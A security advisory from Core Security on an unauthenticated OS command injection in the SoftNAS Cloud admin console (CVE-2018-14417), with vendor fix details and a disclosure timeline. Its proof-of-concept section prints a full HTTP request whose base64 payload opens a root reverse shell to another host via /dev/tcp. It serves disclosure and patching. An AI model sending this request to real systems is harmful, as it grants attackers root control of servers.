1. Advisory Information

Title: SoftNAS Cloud OS Command Injection
Advisory ID: CORE-2018-0009
Advisory URL: https://www.coresecurity.com/advisories/softnas-cloud-os-command-injection
Date published: 2018-07-26
Date of last update: 2018-07-26
Vendors contacted: SoftNAS
Release mode: Coordinated release

2. Vulnerability Information

Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-14417

3. Vulnerability Description

SoftNAS' website states that:

[1] SoftNAS Cloud is a software-defined NAS filer delivered as a virtual storage appliance that runs within public, private or hybrid clouds. SoftNAS Cloud provides enterprise-grade NAS capabilities, including encryption, snapshots, rapid rollbacks, and cross-zone high-availability with automatic failover.

A command injection vulnerability was found in the web administration console. In particular, snserv script did not sanitize some input parameters before executing a system command.

4. Vulnerable Packages

  • SoftNAS Cloud versions prior to 4.0.3

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

SoftNAS released SoftNAS Cloud 4.0.3 that addresses the reported vulnerability. The software update can be performed via the StorageCenter admin UI in the product. For more information on the updating process see: https://www.softnas.com/docs/softnas/v3/html/updating_to_the_latest_ver….

In addition, SoftNAS published the following release note: https://docs.softnas.com/display/SD/Release+Notes

6. Credits

The vulnerability was discovered and researched by Fernando Díaz and Fernando Catoira from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. Check and execute update functionality abuse leading to command execution

[CVE-2018-14417] The 'recentVersion' parameter from the snserv endpoint is vulnerable to OS Command Injection when check and execute update operations are performed. This endpoint has no authentication/session verification. Therefore, it is possible for an unauthenticated attacker to execute malicious code in the target server. As the WebServer runs a Sudoer user (apache), the malicious code can be executed with root permissions.

The following part of the /etc/sudoers file shows the apache user capabilities.

User_Alias      APACHE = apache                               
# Once SoftNAS UI is operational, only allow the specific command that require sudo access!!
Cmnd_Alias      SOFTNAS = ALL                                                 
APACHE  ALL = (ALL) NOPASSWD: SOFTNAS			

The following proof of concept generates a remote shell on the target system as root:

GET /softnas/snserver/snserv.php?opcode=checkupdate&opcode=executeupdate&selectedupdate=3.6aaaaaaa.1aaaaaaaaaaaaaa&update_type=standard&recentVersions=3.6aaaaaaaaaaa.1aaaaaaa;echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yLjQ1LjE4NS8xMjM0NSAwPiYx+|+base64+-d+|+sudo+bash; HTTP/1.1
Host: 10.2.45.208
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.2.45.208/softnas/applets/update/
X-Requested-With: XMLHttpRequest
Connection: close

As can be seen in the former request the payload had to be base64 encoded as some special characters were not being properly decoded.

8. Report Timeline

  • 2018-05-29: Core Security sent an initial notification to SoftNAS, including a draft advisory.
  • 2018-05-31: SoftNAS confirmed the reported vulnerability and informed they were working on a plan to fix the issue.
  • 2018-05-31: Core Security thanked the SoftNAS' reply.
  • 2018-06-15: Core Security requested a status update.
  • 2018-06-26: SoftNAS answered saying the fixed version was scheduled for late July.
  • 2018-06-26: Core Security thanked the update.
  • 2018-07-16: Core Security asked for a status update and requested a solidified release date.
  • 2018-07-16: SoftNAS informed that the new release version were under QA verification and they would have the release date during the week.
  • 2018-07-19: SoftNAS notified Core Security that SoftNAS Cloud 4.0.3 version was already available.
  • 2018-07-19: Core Security thanked SoftNAS's update and set July 26th as the publication date.
  • 2018-07-26: Advisory CORE-2018-0009 published.

9. References

[1] https://www.softnas.com

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security

Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com

12. Disclaimer

The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/